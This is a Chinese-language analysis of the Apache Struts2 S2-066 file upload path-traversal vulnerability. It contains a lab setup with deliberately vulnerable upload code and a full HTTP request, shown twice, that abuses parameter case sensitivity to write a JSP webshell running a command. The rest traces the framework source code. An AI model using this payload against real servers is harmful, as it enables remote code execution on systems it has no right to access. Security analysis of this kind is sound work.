目录
漏洞描述
影响版本
影响说明
环境搭建
Payload
漏洞分析
漏洞描述:攻击者可以操纵上传参数,通过ParametersInterceptor覆写Action类中的文件名属性,导致上传路径和文件名可控,从而上传webshell。
影响版本:Struts 2.0.0 - Struts 2.3.37(停产)、Struts 2.5.0 - Struts 2.5.32、Struts 6.0.0 - Struts 6.3.0
影响说明:文件上传漏洞
环境说明:Struts2(2.5.32)、Tomcat(8.5.57)、IDEA(2022.3)
环境搭建:使用我提供的Struts2-066MV项目,导入自己的IDEA即可
Payload:
POST /fileupload/doUpload.action?uploadFileName=../WEB-INF/fileupload/upload.jsp HTTP/1.1
Host: 192.168.70.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------310829804630115185942627963124
Content-Length: 394
Origin: http://192.168.70.158:8080
Connection: close
Referer: http://192.168.70.158:8080/fileupload/upload.action;jsessionid=7510375391F2A996510D87FB9AA70F68
Cookie: JSESSIONID=7510375391F2A996510D87FB9AA70F68
Upgrade-Insecure-Requests: 1
-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="Upload"; filename="shell.zip"
Content-Type: application/x-zip-compressed
<%Runtime.getRuntime().exec("calc");%>
-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="caption"
12
-----------------------------310829804630115185942627963124--
一、环境介绍
根据Struts2官方的漏洞详情,可以看到漏洞的影响范围,从中选一个版本即可,此次分析使用的是2.5.32版本,所以在GitHub上下载2.5.32的源码,找到里面的showcase文件夹,以MAVEN项目类型导入IDEA
导入后在struts.xml中定义以下内容,这段内容默认是struts-default.xml文件中定义的,但默认的配置禁止OGNL调用java.io包中的类,但文件上传时Struts2会验证上传文件的内容的长度,所以必须要使用java.io包
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util.,
org.apache.tomcat.,
org.apache.catalina.core.,
com.ibm.websphere.,
org.apache.geronimo.,
org.apache.openejb.,
org.apache.tomee.,
org.eclipse.jetty.,
org.mortbay.jetty.,
org.glassfish.,
org.jboss.as.,
org.wildfly.,
weblogic.," />
否则会报以下错误
package [package java.io, Java Platform API Specification, version 1.8] of member [public long java.io.File.length()] are excluded!
找到**org.apache.struts2.showcase.fileupload.FileUploadAction
**类,修改upload方法为如下内容
public String upload() throws Exception {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator + fileName1;
System.out.println(realPath);
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
需要一提的是该类的属性,4个属性分别对应的是HTTP请求中的属性
// HTTP中的ContentType
private String contentType;
// HTTP中的上传文件对象
private File upload;
// HTTP上传的文件名
private String fileName;
// HTTP中的caption描述
private String caption;
public String getUploadFileName() {
return fileName;
}
public void setUploadFileName(String fileName) {
this.fileName = fileName;
}
public String getUploadContentType() {
return contentType;
}
public void setUploadContentType(String contentType) {
this.contentType = contentType;
}
// since we are using <s:file name="upload" ... /> the File itself will be
// obtained through getter/setter of <file-tag-name>
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getCaption() {
return caption;
}
public void setCaption(String caption) {
this.caption = caption;
}
二、基础知识
要分析066漏洞必须要了解Struts2的几个基础知识:
1、Struts2是如何将HTTP参数赋值给Action的?可以参考我之前写的Struts2基本原理的部分,Struts2通过ParametersInterceptor类,使用OGNL表达式将HTTP中的参数赋值给Action的属性,调用的是Action的setXXX方法。
在ParametersInterceptor的OGNL表达式执行的位置断点,可以看到**acceptableParameters
**中的Key与Action中的属性的set方法是对应的
2、Struts2是如何接收HTTP请求参数的?ParametersInterceptor类的**acceptableParameters
来自ActionContext中KEY为com.opensymphony.xwork2.ActionContext.parameters
**的值,如下图所示
同时HTTP中的Get型的参数也会保存在ActionContext的**com.opensymphony.xwork2.ActionContext.parameters
**中,总结来说所有GET和POST的参数都保存在同一个MAP中,实际是HttpParamters。
3、Struts2是如何实现文件上传的?Struts2有个类是FileUploadInterceptor,该类会在ParametersInterceptor前执行,主要用于处理文件上传的业务,核心代码如下
public String intercept(ActionInvocation invocation) throws Exception {
ActionContext ac = invocation.getInvocationContext();
HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);
// 如果不是上传文件请求,则直接调用下一个interceptor
if (!(request instanceof MultiPartRequestWrapper)) {
if (LOG.isDebugEnabled()) {
ActionProxy proxy = invocation.getProxy();
LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
}
return invocation.invoke();
}
ValidationAware validation = null;
Object action = invocation.getAction();
if (action instanceof ValidationAware) {
validation = (ValidationAware) action;
}
MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;
// 处理错误信息
if (multiWrapper.hasErrors() && validation != null) {
TextProvider textProvider = getTextProvider(action);
for (LocalizedMessage error : multiWrapper.getErrors()) {
String errorMessage;
if (textProvider.hasKey(error.getTextKey())) {
errorMessage = textProvider.getText(error.getTextKey(), Arrays.asList(error.getArgs()));
} else {
errorMessage = textProvider.getText("struts.messages.error.uploading", error.getDefaultMessage());
}
validation.addActionError(errorMessage);
}
}
// 获取JSP中file组件的name,也就是upload,<s:file name="upload" label="File"/>
Enumeration fileParameterNames = multiWrapper.getFileParameterNames();
while (fileParameterNames != null && fileParameterNames.hasMoreElements()) {
// 获取上传的file对象框的name
String inputName = (String) fileParameterNames.nextElement();
// get the content type
String[] contentType = multiWrapper.getContentTypes(inputName);
if (isNonEmpty(contentType)) {
// 获取上传文件的文件名,getFileNames方法会调用getCanonicalName方法过滤/\特殊字符
String[] fileName = multiWrapper.getFileNames(inputName);
if (isNonEmpty(fileName)) {
// 获取上传的文件对象,如果没有则创建一个,只不过是一个tmp后缀的临时文件
// 这里就是创建临时文件的地方
UploadedFile[] files = multiWrapper.getFiles(inputName);
if (files != null && files.length > 0) {
List<UploadedFile> acceptedFiles = new ArrayList<>(files.length);
List<String> acceptedContentTypes = new ArrayList<>(files.length);
List<String> acceptedFileNames = new ArrayList<>(files.length);
// 组装属性名,和Action中的相同,这就是为什么Action中的属性必须是固定的原因
// 这里可控的就是inputName,也就是JSP中file对象框的name
String contentTypeName = inputName + "ContentType";
String fileNameName = inputName + "FileName";
for (int index = 0; index < files.length; index++) {
if (acceptFile(action, files[index], fileName[index], contentType[index], inputName, validation)) {
acceptedFiles.add(files[index]);
acceptedContentTypes.add(contentType[index]);
acceptedFileNames.add(fileName[index]);
}
}
if (!acceptedFiles.isEmpty()) {
Map<String, Parameter> newParams = new HashMap<>();
newParams.put(inputName, new Parameter.File(inputName, acceptedFiles.toArray(new UploadedFile[acceptedFiles.size()])));
newParams.put(contentTypeName, new Parameter.File(contentTypeName, acceptedContentTypes.toArray(new String[acceptedContentTypes.size()])));
newParams.put(fileNameName, new Parameter.File(fileNameName, acceptedFileNames.toArray(new String[acceptedFileNames.size()])));
// 在ActionContext中获取com.opensymphony.xwork2.ActionContext.parameters对应的HttpParameters对象
// 调用HttpParameters的appendAll方法,将上面的3个参数保存起来
// 这里是首次处理上传参数,将其保存到HttpParameters中
ac.getParameters().appendAll(newParams);
}
}
} else {
if (LOG.isWarnEnabled()) {
LOG.warn(getTextMessage(action, "struts.messages.invalid.file", new String[]{inputName}));
}
}
} else {
if (LOG.isWarnEnabled()) {
LOG.warn(getTextMessage(action, "struts.messages.invalid.content.type", new String[]{inputName}));
}
}
}
// invoke action
return invocation.invoke();
}
前面提到了在获取上传的文件名时会过滤/\等参数,所以当filename为../shell.zip时,是返回的shell.zip
-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="Upload"; filename="shell.zip"
Content-Type: application/x-zip-compressed
<%Runtime.getRuntime().exec("calc");%>
---------------------------前面时候HTTP请求--------------------------
protected String getCanonicalName(final String originalFileName) {
String fileName = originalFileName;
int forwardSlash = fileName.lastIndexOf('/');
int backwardSlash = fileName.lastIndexOf('\\');
if (forwardSlash != -1 && forwardSlash > backwardSlash) {
fileName = fileName.substring(forwardSlash + 1);
} else {
fileName = fileName.substring(backwardSlash + 1);
}
return fileName;
}
HttpParameters的appendAll方法如下,调用的时候Map的putAll方法
public HttpParameters appendAll(Map<String, Parameter> newParams) {
parameters.putAll(newParams);
return this;
}
经过FileUploadInterceptor的这段ac.getParameters().appendAll(newParams);
处理完成后,现在HttpParameters中保存了上传请求的所有数据(HttpParameters保存在了ActionContext中),包括临时文件的File对象。接下来通过ParametersInterceptor的OGNL表达式赋值给Action对象的各个属性值,所以在Action中的upload方法就很好理解了。
Struts2通过OGNL调用setUpload方法将临时的File对象赋值给Action
public void setUpload(File upload) {
this.upload = upload;
}
再看一遍Action的upload方法,这里的copyFile方法拷贝的就是临时的File文件对象,由FileUploadInterceptor.intercept()方法中的multiWrapper.getFiles(inputName);创建
public String upload() throws Exception {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator + fileName;
System.out.println(realPath);
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
以上三点就是要分析Struts2-066漏洞的基础知识
三、漏洞分析
Struts2官方是这样描述的
An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.
攻击者可以操纵文件上传参数来启用路径遍历,在某些情况下,这可能会导致上传可用于执行远程代码执行的恶意文件。
补丁可以在github中查看,点击这里
appendAll方法的变化如下
remove方法的变化如下
在get、contains等方法中也有变化,但核心的变化是将key统一转为小写处理
回忆下HttpParameters类的作用,是一个Map,用于存储上传请求的参数,包括name、file、contentType、caption,看来漏洞出现在Map的Key的大小写问题上,通过官方给出的测试用例上也可以看出来。假设下现在有如下代码,输出的是什么?
Map map = new HashMap<>();
map.put("Mars","Mars");
map.put("mars","mars");
System.out.println(map.get("Mars"));
System.out.println(map.get("mars"));
----------------------输出内容为---------------------
Mars
mars
可以看出是大小写敏感的,在ParametersInterceptor中通过OGNL表达式给Action赋值时,acceptableParameters变量保存了从ActionContext取出的符合规则的HTTP参数,而acceptableParameters是一个TreeMap类型,在Struts2-003、Struts2-009漏洞中有利用到TreeMap的特性(会根据Key的ASCII值的大小升序排序)
所以TreeMap结合Map的特性,可以总结如下:
可以允许相同字符但大小写不同的KEY保存在Map中
根据Key的ASCII值的大小升序排序
所以结合漏洞描述和补丁信息,大概可以猜到和key的大小写有关系,而且可以控制上传文件的路径,因为有目录穿越,那么可以在文件名上加入../来尝试目录穿越,但上传文件的参数是会被getCanonicalName方法过滤的。还可以通过HTTP URL参数传递,直接通过OGNL表达式修改Action中fileName属性(对应的set方法为setUploadFileName,在Action中该方法的名字是固定的,不可修改),例如
POST /fileupload/doUpload.action?uploadFileName=../mars.jsp
uploadFileName的值并未发生改变,为什么?
在前面的分析中,acceptableParameters的值来自ActionContext的**com.opensymphony.xwork2.ActionContext.parameters
**,也就是HttpParameters,而该类的值是在FileUploadInterceptor中赋值的,我们断点看下
可以发现在FileUploadInterceptor中的ActionContext中的uploadFileName的值还是../mars.jsp,但因为FileUploadInterceptor最后用上传文件参数将本来ActionContext中URL参数覆盖了
uploadContentType、uploadFileName、upload这三个key是动态生成的
而upload是JSP中file控件的name,在HTTP请求中可控,利用这个特性,可以将upload的首字母变成大写,从而让URL中的uploadFileName保存在HttpParameters中,同时存在uploadFileName与UploadFileName,那么payload就为了如下内容
POST /fileupload/doUpload.action?uploadFileName=../mars.jsp HTTP/1.1
Host: 192.168.70.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------310829804630115185942627963124
Content-Length: 394
Origin: http://192.168.70.158:8080
Connection: close
Referer: http://192.168.70.158:8080/fileupload/upload.action;jsessionid=7510375391F2A996510D87FB9AA70F68
Cookie: JSESSIONID=7510375391F2A996510D87FB9AA70F68
Upgrade-Insecure-Requests: 1
-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="Upload"; filename="shell.zip"
Content-Type: application/x-zip-compressed
<%Runtime.getRuntime().exec("calc");%>
-----------------------------310829804630115185942627963124
Content-Disposition: form-data; name="caption"
12
-----------------------------310829804630115185942627963124--
断点查看acceptableParameters变量的值,发现和预期的一致,这样会使得uploadFileName赋值两次,一次是正常的文件名shell.zip,第二次是../mars.jsp,成功覆写文件名,从而实现文件上传shell
shell在IDEA的target目录
漏洞分析到这里就结束了,但有个细节不知道大家有没有注意,OGNL在给Action赋值时,是通过给出的对象属性,找到对应的set方法赋值的,例如下图
属性是uploadFileName,那么就应该找setUploadFileName,但刚才已经将uploadFileName修改为UploadFileName了,为什么没有出现错误呢?
这就要分析Ognl是如何找到set方法的了,通过跟进代码发现在OgnlRuntime中有判断是否存在Upload的set方法
最终追踪到capitalizeBeanPropertyName方法,调用栈如下
capitalizeBeanPropertyName代码如下,可以看到无论进来的propertyName什么样,返回的都是大写字母开头,例如
a-->A
abc-->Abc
所以前面的属性中到底是uploadFileName还是UploadFileName,并不重要
private static String capitalizeBeanPropertyName(String propertyName) {
// 如果属性的长度为1,则直接转为大写返回
if (propertyName.length() == 1) {
return propertyName.toUpperCase();
}
// 如果以get开始,()结束
if (propertyName.startsWith(GET_PREFIX) && propertyName.endsWith("()")) {
// 如果第4位是大写,直接返回,这说明符合getXxx()的格式
if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) {
return propertyName;
}
}
// 和get类似,不多说了,核心就是满足setXxx这样驼峰命名规范
if (propertyName.startsWith(SET_PREFIX) && propertyName.endsWith(")")) {
if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) {
return propertyName;
}
}
// 和get/set类似
if (propertyName.startsWith(IS_PREFIX) && propertyName.endsWith("()")) {
if (Character.isUpperCase(propertyName.substring(2,3).charAt(0))) {
return propertyName;
}
}
// 取第一个字符
char first = propertyName.charAt(0);
// 取第二个字符
char second = propertyName.charAt(1);
// 如果第一个字符是小写,并且第二个字符是大写,则直接返回
if (Character.isLowerCase(first) && Character.isUpperCase(second)) {
return propertyName;
} else {
// 变成数组
char[] chars = propertyName.toCharArray();
// 将第一个字符变为大写
chars[0] = Character.toUpperCase(chars[0]);
return new String(chars);
}
}
以上就是漏洞分析的全部内容。